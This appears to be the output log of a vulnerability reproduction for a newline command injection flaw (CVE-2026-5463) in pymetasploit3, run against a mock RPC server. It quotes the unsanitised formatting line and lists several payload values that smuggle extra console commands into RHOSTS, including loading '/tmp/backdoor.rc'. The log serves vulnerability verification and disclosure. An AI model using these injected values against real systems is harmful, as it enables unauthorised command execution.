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CVE-2026-5463 - pymetasploit3 Command Injection Reproduction
Using REAL vulnerable code from MsfConsole.run_module_with_output()
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VERIFICATION: Vulnerable Code in Library
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[VULNERABLE CODE FOUND] In MsfConsole.run_module_with_output():

  File: pymetasploit3/msfrpc.py
  Line 2299: options_str += 'set {} {}\n'.format(k, opts[k])

  ISSUE: opts[k] is directly interpolated without sanitization.
         If opts[k] contains '\n', it breaks the command structure.

  Example exploit:
    opts['RHOSTS'] = '192.168.1.1\nworkspace -a pwned\n'
    Resulting command: 'set RHOSTS 192.168.1.1\nworkspace -a pwned\n'
    Metasploit sees:    'set RHOSTS 192.168.1.1' [VALID]
                        'workspace -a pwned'     [INJECTED!]

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TEST 1: Authentication Entrypoint (MsfRpcClient.login)
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  [1] Attempting authentication via RPC auth.login...
  [SUCCESS] Authentication successful
    Token: mock-token-9e5f75828408

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TEST 2: Vulnerable run_module_with_output() - Command Injection
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  [2] Creating MsfConsole with authenticated RPC client...
  [SUCCESS] Console created: cid=console-fc9a7f01

  [3] Testing BENIGN input (normal RHOSTS)...
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  Captured 1 command(s)
  [PASS] No injected commands detected
  [PASS] Workspaces before: 0, after: 0

  [4] Testing MALICIOUS input (newline injection in RHOSTS)...
--------------------------------------------------
  Workspaces before exploit: 0
    [SIDE EFFECT] Workspace created: 'pwned_workspace'
  Captured 2 command(s)
  Executed 13 command(s) in console simulation
  Workspaces after exploit: 1
  Workspaces created: ['pwned_workspace']

  [ANALYSIS] Command injection analysis:
    Total lines in command: 8
    Injected commands: 1
  [!] INJECTED COMMAND at line 3: workspace -a pwned_workspace

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  VULNERABILITY EXPLOITED!
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  The following Metasploit console commands would be executed:
    -> workspace -a pwned_workspace

  [SIDE EFFECT CONFIRMED] Workspace 'pwned_workspace' was created!
  This proves the injected command actually executed.

  IMPACT: Arbitrary command execution within Metasploit framework!
  CWE-77: Command Injection
  CVSS 4.0: 9.3 CRITICAL

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TEST 3: Multiple Payload Variations
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  Payload: Workspace injection
  Value: '192.168.1.1\nworkspace -a attacker_workspace\n'
    [SIDE EFFECT] Workspace created: 'attacker_workspace'
  [EXPLOITABLE] Commands injected: ['workspace -a attacker_workspace']

  Payload: Resource file injection
  Value: '192.168.1.1\nresource /tmp/backdoor.rc\n'
    [SIDE EFFECT] Resource file would be loaded: '/tmp/backdoor.rc'
  [EXPLOITABLE] Commands injected: ['resource /tmp/backdoor.rc']

  Payload: Multi-command chain
  Value: '192.168.1.1\nworkspace -a a\nworkspace -d a\n'
    [SIDE EFFECT] Workspace created: 'a'
  [EXPLOITABLE] Commands injected: ['workspace -a a', 'workspace -d a']


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REPRODUCTION COMPLETE
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Results saved to: /data/pruva/runs/7e0c8944-db93-47a1-b397-0bcb07546fb9/repro/logs
  - auth_test_results.json
  - injection_test_results.json
  - attack_chain.json
  - reproduction_result.json
  - captured_console_command.txt

CONCLUSION:
  The pymetasploit3 library v1.0.6 contains a command injection vulnerability.
  The run_module_with_output() function fails to sanitize newlines in option
  values, allowing attackers to inject arbitrary Metasploit console commands.

  STATUS: VULNERABILITY CONFIRMED